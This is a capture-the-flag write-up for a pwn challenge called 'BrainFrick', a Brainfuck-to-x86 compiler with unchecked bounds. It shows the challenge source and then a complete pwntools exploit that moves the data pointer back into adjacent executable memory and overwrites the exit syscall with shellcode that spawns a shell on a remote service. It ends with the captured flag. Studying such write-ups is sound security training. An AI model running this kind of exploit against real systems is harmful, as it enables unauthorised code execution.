🧠 BrainFrick
- Solves: 20
 - Score: 300
 - Technique: 
Unchecked Bounds 
Brainfuck is cool, but interpreters written in js are slow, we need performance!
Note: May not be able to explain the approach well enough for this challenge, but I'll try my best!
Approach
Files provided for the challenge:
- ELF file - brainfrick
 - C file - brainfrick.cpp
 
Check protections
Command:
$ checksec --file=brainfrick
Output:
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
All protections enabled.
Source code
brainfrick.cpp:
#include <iostream>
#include <iomanip>
#include <map>
#include <vector>
#include <cstring>
#include <sys/mman.h>
using std::vector, std::map, std::string;
using byte = unsigned char;
template<typename T>
void vector_append(vector<T>& into, const vector<T>& from) {
	into.insert(into.end(), from.begin(), from.end());
}
vector<byte> compile(const string& code) {
	vector<byte> compiled;
	const map<char, vector<byte>> instructions = {
		{'>', {0x48, 0xff, 0xc3}}, // ptr++ -> inc rbx;
		{'<', {0x48, 0xff, 0xcb}}, // ptr-- -> dec rbx;
		{'+', {0xfe, 0x03}}, // *ptr++ -> inc byte ptr [rbx];
		{'-', {0xfe, 0x0b}}, // *ptr-- -> dec byte ptr [rbx];
		{'.',
			{
				0x48, 0x31, 0xc0, 0xb0, 0x01, // xor rax, rax; mov al, 1; (rax = 1 - syscall: write)
				0x48, 0xc7, 0xc7, 0x01, 0x00, 0x00, 0x00, // mov rdi, 1; (rdi = 1 - fd: stdout)
				0x48, 0x89, 0xde, // mov rsi, rbx; (rsi = rbx - buff: current char)
				0x48, 0x31, 0xd2, 0xb2, 0x01, // xor rdx, rdx; mov dl, 1; (rdx = 1 - count: 1)
				0x0f, 0x05 // syscall - write(stdou, rbx, 1)
			}}, // putc(*ptr)
	};
	const vector<byte> compiled_end = {
		0x48, 0xC7, 0xC0, 0x3C, 0x00, 0x00, 0x00, // mov rax, 0x3c
		0x0F, 0x05 // syscall (exit())
	};
	for (char c: code) {
		auto found_instruction = instructions.find(c);
		if(found_instruction != instructions.end()) {
			vector_append<>(compiled, found_instruction->second);
		}
	}
	vector_append(compiled, compiled_end);
	return compiled;
}
std::string read_code() {
	std::string code;
	std::cin >> std::setw(0x4000) >> code;
	return code;
}
void print_instruction() {
	std::setbuf(stdin, nullptr);
	std::setbuf(stdout, nullptr);
	std::cout << "Welcome to blazing fast brainfuck compiler!\n";
	std::cout << "Compile your brainfuck code into highly optimized native code to execute your brainfuck code faster then ever!\n";
	std::cout << "(note that jump instructions have been removed, to make sure all programs terminate ";
	std::cout << "but that means that it's very secure!)\n";
	std::cout << "Example program:\n";
	std::cout << "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>";
	std::cout << "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>";
	std::cout << "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++";
	std::cout << "<<.>>.<.<.\n";
	std::cout << "Enter your code:\n";
}
void execute_code(vector<byte> compiled) {
	const int DATA_SIZE = 0x200;
	char* code_mem = (char*) mmap(nullptr, compiled.size() + DATA_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
	std::memcpy(code_mem, compiled.data(), compiled.size());
	char* data_mem = code_mem + compiled.size();
	asm (
			"mov rbx, %0;" // data pointer stored in rbx
			"jmp %1;" // jump into compiled code
			: // no output
			: "r" (data_mem), "r" (code_mem)
		);
}
int main() {
	print_instruction();
	vector<byte> compiled_code = compile(read_code());
	execute_code(compiled_code);
}
Seems complicated... But let's analyse it by functions.
print_instruction: Simply prints program's information with an example ofbrainfuckcode.read_code: Retrieves user suppliedbrainfuckcode (limit of0x4000characters).compile_code: This function is slightly more interesting. It maps the users'brainfuckcode to assembly byte-code.
+: increments the value stored in the pointer, which is stored in$rbx.-: decrements the value in the pointer, which is stored in$rbx.>: increments the pointer stored in$rbx.<: decrements the pointer stored in$rbx..: writes a character pointed to by ptr stored in$rbxto the standard output.compiled_end: appended to the end of the mappedbrainfuckcode, which performsexitsyscall.execute_code: Create separate memory regions nameddata_memandcode_mem.
data_mem: pointed to by the$rbxregister, operations are performed in this region.code_mem: stores and execute the compiled code obtained fromcompile_codefunction.
Furthermore, in the code_execute function, we can notice that the data_mem and code_mem regions are next to each other.
asm (
    "mov rbx, %0;" // data pointer stored in rbx
    "jmp %1;" // jump into compiled code
    : // no output
    : "r" (data_mem), "r" (code_mem)
);
Disassemble binary
main function's pseudocode:
int __cdecl main(int argc, const char **argv, const char **envp)
{
  std::vector<unsigned char> compiled_code; // [rsp+0h] [rbp-80h] BYREF
  std::vector<unsigned char> p_compiled; // [rsp+20h] [rbp-60h] BYREF
  std::__cxx11::string code; // [rsp+40h] [rbp-40h] BYREF
  unsigned __int64 v7; // [rsp+68h] [rbp-18h]
  v7 = __readfsqword(0x28u);
  print_instruction();
  read_code[abi:cxx11](&code);
  compile(&compiled_code, &code);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&code);
  std::vector<unsigned char>::vector(&p_compiled, &compiled_code);
  execute_code(&p_compiled);
  std::vector<unsigned char>::~vector(&p_compiled);
  std::vector<unsigned char>::~vector(&compiled_code);
  return 0;
}
After disassembling the main function, it looked more complicated than the original source code. Therefore, while solving this challenge, I primarily referred to the source code.
Exploit
To generate the exploit for this program, we make use of the following facts:
Because
code_memanddata_memregions are next to each other...
- We could modify portions of the 
code_memusing thedata_memregion.- The 
code_memregion comes before thedata_memregion (verified using gdb). - Address in 
$rbxpoints to the start of thedata_memregion. <instruction could shift the address stored in$rbxinto thecode_memregion.code_memregion contains compiled byte codes that are executed by the program.
 - The 
 - In normal operation of the program, the 
code_memstops executing once it reaches thecompiled_endbyte codes which triggers theexitsyscall. This way, the program does not continue executing beyond the specifiedcode_memaddress region. - To continue execution beyond the specified bounds of the 
code_memregion, we can simply modify theexitsyscall instruction byte-code to something of our choice. i.e. spawning a shell using theexecvesyscall. 
Spawn shell && get flag
To exploit this program, we spawn a shell using the
execvesyscall.
- Start by shifting address stored in 
$rbx9 bytes into thecode_memregion.exitsyscall bytecode is made up of 9 bytes- 9 times of 
<instruction 
 
exit_syscall = b"\x48\xC7\xC0\x3C\x00\x00\x00\x0F\x05"
payload = b'<' * len(exit_syscall)
- Craft shellcode for 
execve("/bin/sh",0,0) 
shellcode = asm(shellcraft.sh())
- Compute the difference between the the first 9 bytes of the 
execvesyscall andexitsyscall. Increment or decrement them using+or-instructions. Use>to move to the next byte to modify. - Inject the rest of the 
execveshellcode using the+and>instruction. 
bf_spawn_shell = b''
for idx, byte_code in enumerate(shellcode):
    if idx <= 8:
        val = exit_syscall[idx] - byte_code
        print(val)
        if val < 0:
            bf_spawn_shell += b'+'*abs(val)
        elif val > 0:
            bf_spawn_shell += b'-'*val
        bf_spawn_shell += b'>'
        continue
    bf_spawn_shell += b'+'*byte_code
    bf_spawn_shell += b'>'
- Lastly, send payload and get flag.
 
payload += bf_spawn_shell
Remarks: This challenge was fun!
Script
from pwn import *
elf = context.binary = ELF('./brainfrick')
r = remote('140.238.91.110', 36369)
# r = elf.process()
# r = gdb.debug('./brainfrick', gdbscript=''' break * main-10''')
# to overwrite compiled exit syscall
exit_syscall = b"\x48\xC7\xC0\x3C\x00\x00\x00\x0F\x05"
payload = b'<' * len(exit_syscall)
# shellcode to spawn shell
shellcode = asm(shellcraft.sh())
# overwrite exit syscall and fill region with shellcode
bf_spawn_shell = b''
for idx, byte_code in enumerate(shellcode):
    if idx <= 8:
        val = exit_syscall[idx] - byte_code
        print(val)
        if val < 0:
            bf_spawn_shell += b'+'*abs(val)
        elif val > 0:
            bf_spawn_shell += b'-'*val
        bf_spawn_shell += b'>'
        continue
    bf_spawn_shell += b'+'*byte_code
    bf_spawn_shell += b'>'
payload += bf_spawn_shell
r.sendline(payload)
r.interactive()
Flag
1753c{bounds_not_checked_brain_is_a_frick}